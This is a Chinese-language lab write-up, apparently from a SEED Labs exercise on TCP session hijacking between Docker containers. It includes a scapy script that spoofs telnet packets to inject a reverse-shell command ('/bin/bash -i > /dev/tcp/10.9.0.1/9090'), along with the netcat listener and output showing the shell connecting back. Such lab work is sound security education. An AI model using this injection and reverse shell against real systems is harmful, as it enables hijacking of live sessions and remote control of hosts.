[05/19/26]seed@VM:~/Experiment02$ sudo python3 ./auto_hijack.py
正在向 10.9.0.5 注入命令...
注入完成。
[05/19/26]seed@VM:~/Experiment02$

由于此时 telnet 终端失去响应,新建一个终端,进入 Host A 容器查看文件是否创建成功。

[05/18/26]seed@VM:~$ docker exec -it victim-10.9.0.5 bash
root@ca2fa51d4bf9:/tmp# cat hijacked.txt
Hijacked!!!
root@ca2fa51d4bf9:/tmp#

劫持成功!

6 任务 4: 使用会话劫持创建反向 shell

使用 netcat 允许我们指定一个端口,并监听该端口上的连接。

在运行 netcat,监听 9090 端口:

[05/19/26]seed@VM:~$ nc -lnv 9090
Listening on 0.0.0.0 9090

新建一个终端,进入 Host B 容器中使用 telnet 访问容器 Host A。

[05/19/26]seed@VM:~$ docker exec -it user1-10.9.0.6 bash
root@754bbdf534a1:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
ca2fa51d4bf9 login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Tue May 19 08:01:44 UTC 2026 from user1-10.9.0.6.net-10.9.0.0 on pts/3
seed@ca2fa51d4bf9:~$

新建一个终端,使用 wireshark 命令打开 Wireshark,选择 Docker 容器的网络接口名称(br- 开头)。

[05/19/26]seed@VM:~$ wireshark

返回 telnet 连接终端,输入 ls 命令,查看 Wireshark 中抓取的从 10.9.0.6 到 10.9.0.5 的包的 Src PortSeqAck 值。

seed@ca2fa51d4bf9:~$ ls
seed@ca2fa51d4bf9:~$

新建一个终端,创建手动攻击脚本 manual_reverse_shell.py,将 sportseqack 变量进行替换:

[05/19/26]seed@VM:~/Experiment02$ vim manual_reverse_shell.py
#!/usr/bin/env python3
from scapy.all import *

# 冒充 Host B (10.9.0.6) 向 Host A (10.9.0.5) 发送反向 shell 命令
ip = IP(src="10.9.0.6", dst="10.9.0.5")

# sport 为 B 实际使用的临时端口,dport 为 23
# flags="A" 表示纯ACK,按照模板使用
# seq 与 ack 需从 Wireshark 获取最新 B->A 包的绝对序列号和确认号
tcp = TCP(sport=37338, dport=23, flags="A", seq=1244596620, ack=233209060)

# 恶意命令:反向 shell,连接回攻击者的 9090 端口
data = "/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\n"

# 构造完整的恶意注入包
pkt = ip / tcp / data

# 查看数据包详情
ls(pkt)

# 发送数据包
send(pkt, verbose=0)

运行脚本:

[05/19/26]seed@VM:~/Experiment02$ sudo python3 ./manual_reverse_shell.py
version    : BitField  (4 bits)                  = 4               (4)
ihl        : BitField  (4 bits)                  = None            (None)
tos        : XByteField                          = 0               (0)
len        : ShortField                          = None            (None)
id         : ShortField                          = 1               (1)
flags      : FlagsField  (3 bits)                = <Flag 0 ()>     (<Flag 0 ()>)
frag       : BitField  (13 bits)                 = 0               (0)
ttl        : ByteField                           = 64              (64)
proto      : ByteEnumField                       = 6               (0)
chksum     : XShortField                         = None            (None)
src        : SourceIPField                       = '10.9.0.6'      (None)
dst        : DestIPField                         = '10.9.0.5'      (None)
options    : PacketListField                     = []              ([])
--
sport      : ShortEnumField                      = 37338           (20)
dport      : ShortEnumField                      = 23              (80)
seq        : IntField                            = 1244596620      (0)
ack        : IntField                            = 233209060       (0)
dataofs    : BitField  (4 bits)                  = None            (None)
reserved   : BitField  (3 bits)                  = 0               (0)
flags      : FlagsField  (9 bits)                = <Flag 16 (A)>   (<Flag 2 (S)>)
window     : ShortField                          = 8192            (8192)
chksum     : XShortField                         = None            (None)
urgptr     : ShortField                          = 0               (0)
options    : TCPOptionsField                     = []              (b'')
--
load       : StrField                            = b'/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\n' (b'')
[05/19/26]seed@VM:~/Experiment02$

返回 netcat 运行终端,查看是否劫持成功。

[05/19/26]seed@VM:~$ nc -lnv 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.5 50848
seed@ca2fa51d4bf9:~$

骇入成功🥷。


评论